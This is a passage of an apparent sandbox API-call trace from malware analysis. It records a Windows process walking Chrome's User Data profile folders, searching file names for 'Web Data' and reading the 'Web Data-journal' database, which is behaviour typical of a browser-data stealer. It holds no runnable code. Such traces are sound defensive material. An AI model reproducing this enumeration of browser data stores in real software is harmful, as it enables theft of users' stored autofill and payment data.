Data\\Default\\" [0056.545] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Web Data-journal" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" [0056.545] LocalFree (hMem=0x2d4a98) returned 0x0 [0056.545] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f6d8 | out: ppstm=0x21f6d8*=0x2cc188) returned 0x0 [0056.545] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x120 [0056.546] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x0, lpOverlapped=0x0) returned 1 [0056.546] CloseHandle (hObject=0x120) returned 1 [0056.546] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.546] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.546] LocalFree (hMem=0x2d79b8) returned 0x0 [0056.546] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.546] FindClose (in: hFindFile=0x2cbac0 | out: hFindFile=0x2cbac0) returned 1 [0056.546] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.546] LocalFree (hMem=0x2d49c8) returned 0x0 [0056.546] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.546] lstrcmpiA (lpString1=".", lpString2="EVWhitelist") returned -1 [0056.546] lstrcmpiA (lpString1="..", lpString2="EVWhitelist") returned -1 [0056.546] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.546] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.546] lstrlenA (lpString="\\") returned 1 [0056.546] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.546] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.546] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.546] lstrlenA (lpString="EVWhitelist") returned 11 [0056.546] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.546] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="EVWhitelist" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0056.546] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.546] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 73 [0056.546] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 73 [0056.546] lstrlenA (lpString="\\*.*") returned 4 [0056.546] lstrcpyA (in: lpString1=0x2cca90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0056.546] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*" [0056.546] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2dc7f8 [0056.547] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.547] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.547] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.547] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.547] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.547] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.547] LocalFree (hMem=0x2cca90) returned 0x0 [0056.547] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.547] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.547] lstrcmpiA (lpString1=".", lpString2="FileTypePolicies") returned -1 [0056.547] lstrcmpiA (lpString1="..", lpString2="FileTypePolicies") returned -1 [0056.547] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.547] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.547] lstrlenA (lpString="\\") returned 1 [0056.547] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.547] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.547] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.547] lstrlenA (lpString="FileTypePolicies") returned 16 [0056.547] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.547] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="FileTypePolicies" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0056.547] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.547] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 78 [0056.547] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 78 [0056.547] lstrlenA (lpString="\\*.*") returned 4 [0056.547] lstrcpyA (in: lpString1=0x2d69b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0056.547] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*" [0056.547] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2dc7f8 [0056.547] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.547] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.547] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.547] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.547] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.547] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.547] LocalFree (hMem=0x2d69b0) returned 0x0 [0056.547] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.547] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.547] StrStrIA (lpFirst="First Run", lpSrch="Web Data") returned 0x0 [0056.547] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.547] StrStrIA (lpFirst="Local State", lpSrch="Web Data") returned 0x0 [0056.547] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.548] lstrcmpiA (lpString1=".", lpString2="OriginTrials") returned -1 [0056.548] lstrcmpiA (lpString1="..", lpString2="OriginTrials") returned -1 [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.548] lstrlenA (lpString="\\") returned 1 [0056.548] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.548] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.548] lstrlenA (lpString="OriginTrials") returned 12 [0056.548] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.548] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="OriginTrials" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0056.548] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 74 [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 74 [0056.548] lstrlenA (lpString="\\*.*") returned 4 [0056.548] lstrcpyA (in: lpString1=0x2cca90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0056.548] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*" [0056.548] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2dc7f8 [0056.548] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.548] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.548] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.548] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.548] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.548] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.548] LocalFree (hMem=0x2cca90) returned 0x0 [0056.548] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.548] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.548] lstrcmpiA (lpString1=".", lpString2="PepperFlash") returned -1 [0056.548] lstrcmpiA (lpString1="..", lpString2="PepperFlash") returned -1 [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.548] lstrlenA (lpString="\\") returned 1 [0056.548] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.548] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.548] lstrlenA (lpString="PepperFlash") returned 11 [0056.548] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.548] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="PepperFlash" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0056.548] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 73 [0056.548] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 73 [0056.548] lstrlenA (lpString="\\*.*") returned 4 [0056.548] lstrcpyA (in: lpString1=0x2cca90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0056.548] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*" [0056.548] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2dc7f8 [0056.549] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.549] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.549] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.549] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.549] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.549] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.549] LocalFree (hMem=0x2cca90) returned 0x0 [0056.549] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.549] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.549] lstrcmpiA (lpString1=".", lpString2="pnacl") returned -1 [0056.549] lstrcmpiA (lpString1="..", lpString2="pnacl") returned -1 [0056.549] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.549] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.549] lstrlenA (lpString="\\") returned 1 [0056.549] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.549] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.549] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.549] lstrlenA (lpString="pnacl") returned 5 [0056.549] lstrcpyA (in: lpString1=0x2d49c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.549] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="pnacl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0056.549] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.549] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 67 [0056.549] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 67 [0056.549] lstrlenA (lpString="\\*.*") returned 4 [0056.549] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0056.549] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*" [0056.549] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2dc7f8 [0056.549] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.549] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.549] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.549] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.549] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.549] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.549] LocalFree (hMem=0x2d4a98) returned 0x0 [0056.549] LocalFree (hMem=0x2d49c8) returned 0x0 [0056.549] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.549] StrStrIA (lpFirst="Safe Browsing Channel IDs", lpSrch="Web Data") returned 0x0 [0056.549] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.550] StrStrIA (lpFirst="Safe Browsing Channel IDs-journal", lpSrch="Web Data") returned 0x0 [0056.550] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.550] StrStrIA (lpFirst="Safe Browsing Cookies", lpSrch="Web Data") returned 0x0 [0056.550] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.550] StrStrIA (lpFirst="Safe Browsing Cookies-journal", lpSrch="Web Data") returned 0x0 [0056.550] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.550] lstrcmpiA (lpString1=".", lpString2="SSLErrorAssistant") returned -1 [0056.550] lstrcmpiA (lpString1="..", lpString2="SSLErrorAssistant") returned -1 [0056.550] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.550] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.550] lstrlenA (lpString="\\") returned 1 [0056.550] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.550] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.550] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.550] lstrlenA (lpString="SSLErrorAssistant") returned 17 [0056.550] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.550] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SSLErrorAssistant" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0056.550] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.550] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 79 [0056.550] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 79 [0056.550] lstrlenA (lpString="\\*.*") returned 4 [0056.550] lstrcpyA (in: lpString1=0x2d69b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0056.550] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*" [0056.550] 